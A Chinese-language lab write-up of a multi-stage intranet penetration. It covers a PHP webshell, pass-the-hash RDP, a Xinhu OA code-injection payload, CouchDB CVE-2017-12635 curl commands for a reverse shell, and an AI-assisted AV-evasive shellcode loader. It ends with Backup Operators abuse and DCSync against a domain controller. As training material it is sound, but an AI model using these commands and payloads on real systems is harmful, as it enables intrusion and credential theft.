Cyberstrikelab lab13
首先访问网站,搜了一下相关漏洞和默认凭据,没有结果
用dirsearch扫描目录(先尝试了使用gobuster开大字典去扫,扫了半天都没出结果,和我一起打靶的哥们用dirsearch用默认字典一下就出了个1.zip,后来我换dirsearch但还是开自己的大字典扫,仍然等半天没结果,这让我想起记录了很多遍的渗透测试的很多操作都是从最小(也是最好最有可能的)的规模开始的,不行然后再逐渐扩大规模)

把1.zip下载到本地,其中有一个command.php,如果所示文件末尾有一个明显的一句话木马

那直接弹shell回来


whoami发现是system
tasklist看到windows defender是在工作的

这里可以通过net user添加用户,也可以dump管理员的hash,然后开启3389登录上去关掉windows defender,不必做免杀,我选择dump管理员的hash


开启3389,允许管理员通过远程桌面连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
使用xfreerdp登陆上靶机
sudo xfreerdp /v:172.33.6.42 /u:administrator /pth:hash
把windows defender的实时保护等各种防护关闭

这下就可以上传各种工具继续渗透了
上传mimikatz,并没有更多发现
上传fscan,扫描结果
start infoscan
(icmp) Target 172.55.2.23 is alive
(icmp) Target 172.55.2.67 is alive
[*] Icmp alive hosts len is: 2
172.55.2.67:139 open
172.55.2.23:139 open
172.55.2.67:135 open
172.55.2.23:135 open
172.55.2.67:80 open
172.55.2.23:80 open
172.55.2.67:445 open
172.55.2.23:445 open
172.55.2.67:3306 open
172.55.2.23:3306 open
172.55.2.67:3389 open
172.55.2.23:5985 open
172.55.2.67:5985 open
172.55.2.67:47001 open
172.55.2.23:47001 open
172.55.2.67:49665 open
172.55.2.23:49665 open
172.55.2.67:49664 open
172.55.2.23:49664 open
172.55.2.67:49667 open
172.55.2.23:49667 open
172.55.2.67:49666 open
172.55.2.23:49666 open
172.55.2.67:49669 open
172.55.2.23:49669 open
172.55.2.67:49668 open
172.55.2.23:49668 open
172.55.2.67:49670 open
172.55.2.23:49670 open
[*] alive ports len is: 29
start vulscan
?????0/29 [-] mysql 172.55.2.23:3306 root 123456 Error 1130: Host 'WIN-NAQ9VBLQS2H' is not allowed to connect to this MySQL server
[+] NetInfo:
[*]172.55.2.67
[->]WIN-NAQ9VBLQS2H
[->]172.33.6.42
[->]172.55.2.67
[*] WebTitle:http://172.55.2.67 code:200 len:78057 title:?????????
[+] NetInfo:
[*]172.55.2.23
[->]WIN-OCT8J3PL36A
[->]172.55.2.23
[->]10.50.22.23
[*] WebTitle:http://172.55.2.23 code:302 len:0 title:None ???url: http://172.55.2.23?m=login
[*] 172.55.2.23 WORKGROUP\WIN-OCT8J3PL36A Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.55.2.23?m=login code:200 len:4035 title:????????????
[*] WebTitle:http://172.55.2.67:5985 code:404 len:315 title:Not Found
[*] WebTitle:http://172.55.2.67:47001 code:404 len:315 title:Not Found
[*] WebTitle:http://172.55.2.23:5985 code:404 len:315 title:Not Found
[*] WebTitle:http://172.55.2.23:47001 code:404 len:315 title:Not Found
将这台主机作为跳板机,上传stowaway的agent端,建立socks代理

之前看到172.55.2.23的80端口是开放的,访问它的web服务,发现是一个叫 信呼协同办公 的系统

上网查了一下,找到了普通用户的弱口令,成功登录
查询了存在的漏洞,找到了信呼OA普通用户权限getshell方法
POST访问网站的/index.php?d=main&m=flow&a=copymode&ajaxbool=true,请求体中写类似id=1&name=a{};phpinfo ();class a的payload
然后访问/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php执行代码,a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20a这一部分就是之前POST中payload的url编码
我在这里卡了一段时间,使用刚才文章中的办法不行,貌似是过滤了引号和冒号等特殊字符,想用powershell base64编码反弹shell或者执行一些命令,但是有个大概180字符左右的长度限制,且这里的输入会全部转换为小写,base64行不通。
总的来说,不能下载文件,不能反弹shell,有长度限制,我急需脱离这个执行命令的环境,要靠着写shell的方向去想
最终确定通过file_put_contents函数写入一句话木马,文件名和写入内容通过chr()函数从ascii码转换为字符,由于长度限制,每次只写一个字符,可以用数字8表示追加模式
file_put_contents(chr(98).chr(46).chr(112).chr(104).chr(112),chr(60),8)
一个一个写入非常耗时耗精力,最好还是写个脚本来搞,我是不想搞第二次的

写入完毕后执行命令

现在有了一个方便的执行命令的环境,但尝试反弹shell失败,尝试下载nc反弹shell也失败,上传上去后立马就被杀了,机器开启了windows defender,但是whoami发现是local services并不是管理员,那么就不能登录远程桌面关闭杀软了,whoami /priv发现有SeImpersonate权限
只能上传免杀马了,我自己准备了一个调教ai写出的C#写的远程下载的shellcode加载器,用windows自带的csc编译后上传到靶机,但是却没有执行成功。后来将恶意部分去掉,只留下载部分并添加测试输出,仍然执行不成功,已经可以确定是兼容性的问题了
免杀的大概思路就是远程下载shellcode,使用NTAPI代替kernel32 API,委托调用代替直接P/Invoke,告诉deepseek马上就能搞定
中途为了更好的操作环境,上传了一个免杀的哥斯拉

后来想了一下,我把代码放到靶机上编译,不就应该能执行了吗,当时我还没那么确信windows自带.net framework,翻找了一个确实有4.0版本的

通过靶机上的csc编译shellcode加载器,然后执行得到shell,我加载的meterpeter(要在第一个跳板机上使用stowaway做端口转发)
getsystem直接拿到system权限

之后的操作hashdump,使用kiwi模块找密码,开启3389,administrator登录上靶机,关闭windows defender,继续上传fscan扫下一个网段
C:\phpStudy\WWW\webmain\flow\input>fscan.exe -h 10.50.22.1/24 -p 1-65535
fscan.exe -h 10.50.22.1/24 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 10.50.22.6 is alive
(icmp) Target 10.50.22.8 is alive
(icmp) Target 10.50.22.23 is alive
[*] Icmp alive hosts len is: 3
10.50.22.23:139 open
10.50.22.8:139 open
10.50.22.6:139 open
10.50.22.23:135 open
10.50.22.8:135 open
10.50.22.6:135 open
10.50.22.8:88 open
10.50.22.23:80 open
10.50.22.8:53 open
10.50.22.8:389 open
10.50.22.23:445 open
10.50.22.8:445 open
10.50.22.6:445 open
10.50.22.8:464 open
10.50.22.8:593 open
10.50.22.8:636 open
10.50.22.8:3269 open
10.50.22.8:3268 open
10.50.22.23:3306 open
10.50.22.23:3389 open
10.50.22.6:4369 open
10.50.22.8:5985 open
10.50.22.23:5985 open
10.50.22.6:5985 open
10.50.22.6:5984 open
10.50.22.8:9389 open
10.50.22.23:47001 open
10.50.22.8:47001 open
10.50.22.6:47001 open
10.50.22.23:49668 open
10.50.22.6:49668 open
10.50.22.23:49667 open
10.50.22.8:49667 open
10.50.22.6:49667 open
10.50.22.23:49666 open
10.50.22.8:49666 open
10.50.22.6:49666 open
10.50.22.23:49665 open
10.50.22.8:49665 open
10.50.22.6:49665 open
10.50.22.23:49664 open
10.50.22.8:49664 open
10.50.22.6:49664 open
10.50.22.23:49669 open
10.50.22.8:49669 open
10.50.22.6:49669 open
10.50.22.8:49673 open
10.50.22.8:49672 open
10.50.22.6:49671 open
10.50.22.23:49670 open
10.50.22.6:49670 open
10.50.22.8:49675 open
10.50.22.8:61648 open
10.50.22.8:61646 open
10.50.22.8:61664 open
10.50.22.8:61655 open
[*] alive ports len is: 56
start vulscan
[+] NetInfo:
[*]10.50.22.8
[->]DC
[->]10.50.22.8
[+] NetInfo:
[*]10.50.22.6
[->]cslab
[->]10.50.22.6
[+] NetInfo:
[*]10.50.22.23
[->]WIN-OCT8J3PL36A
[->]172.55.2.23
[->]10.50.22.23
[*] WebTitle:http://10.50.22.23 code:302 len:0 title:None 跳转url: http://10.50.22.23?m=login
[*] 10.50.22.8 (Windows Server 2022 Standard 20348)
[*] 10.50.22.6 (Windows Server 2016 Standard 14393)
[*] WebTitle:http://10.50.22.23?m=login code:200 len:4035 title:信呼协同办公系统
[*] WebTitle:http://10.50.22.23:5985 code:404 len:315 title:Not Found
[*] WebTitle:http://10.50.22.23:47001 code:404 len:315 title:Not Found
[*] WebTitle:http://10.50.22.6:5984 code:200 len:151 title:None
[*] WebTitle:http://10.50.22.8:5985 code:404 len:315 title:Not Found
[*] WebTitle:http://10.50.22.8:47001 code:404 len:315 title:Not Found
[*] 10.50.22.8 [+]DC __MSBROWSE__\DC Windows Server 2022 Standard 20348
[*] WebTitle:http://10.50.22.6:5985 code:404 len:315 title:Not Found
[*] WebTitle:http://10.50.22.6:47001 code:404 len:315 title:Not Found
[*] 10.50.22.6 CYBERSTRIKE\CSLAB Windows Server 2016 Standard 14393
[+] http://10.50.22.6:5984 poc-yaml-couchdb-unauth
[+] http://10.50.22.6:5984 poc-yaml-couchdb-cve-2017-12635
看到10.50.22.6有couchdb未授权访问和cve-2017-12635,网上查资料,直接挨个执行命令得到反弹shell
proxychains -f proxychains.conf -q curl -X PUT 'http://10.50.22.6:5984/_config/query_servers/cmd' -d '"powershell -e ....."' # 这里可以执行任意命令
proxychains -f proxychains.conf -q curl -X PUT 'http://10.50.22.6:5984/vultest' # 添加一个Database和Document
proxychains -f proxychains.conf -q curl -X PUT 'http://10.50.22.6:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
proxychains -f proxychains.conf -q curl -X POST 'http://10.50.22.6:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
因为这里是多层内网,可能会觉得上传下载文件不方便
但是stowaway非常方便,在第二个跳板机上用backward命令启动多次反向端口转发,可以先下载工具和木马,然后回连到kali
stowaway本身也是可以启动shell的,而且可以方便做上传和下载操作
whoami发现是system
上传sharphound进行域信息收集,发现cslab这个用户在Backup Operotors组中

尝试爆破cslab的密码失败,LaZagne也没找到密码

上传winpeas执行,发现一个默认密码,经过验证并不是cslab的密码

然后又看到几个计划任务,其中xweuw32.bat中有cslab的密码


cslab用户并不能直接登录到域控,尝试用impacket工具包中的reg脚本备份SAM等文件
参考Backup Operator Privilege Escalation

开启3389,
以cslab运行一个powershell
runas.exe /netonly /user:cyberstrike.lab\cslab powershell.exe

拿到本地administrator的hash,但是发现并不能登录
但是DC$的hash是能够使用的,用netexec进行Dcsync,拿到域管理员的hash,登录拿到flag

后面看别人发现还有工具也可以利用backup operators组,记录一下
BOexp.exe-t \\DC.cyberstrike.lab -u cslab-p cs1ab@cs6 -d cyberstrike.lab -o c:\users

浙公网安备 33010602011771号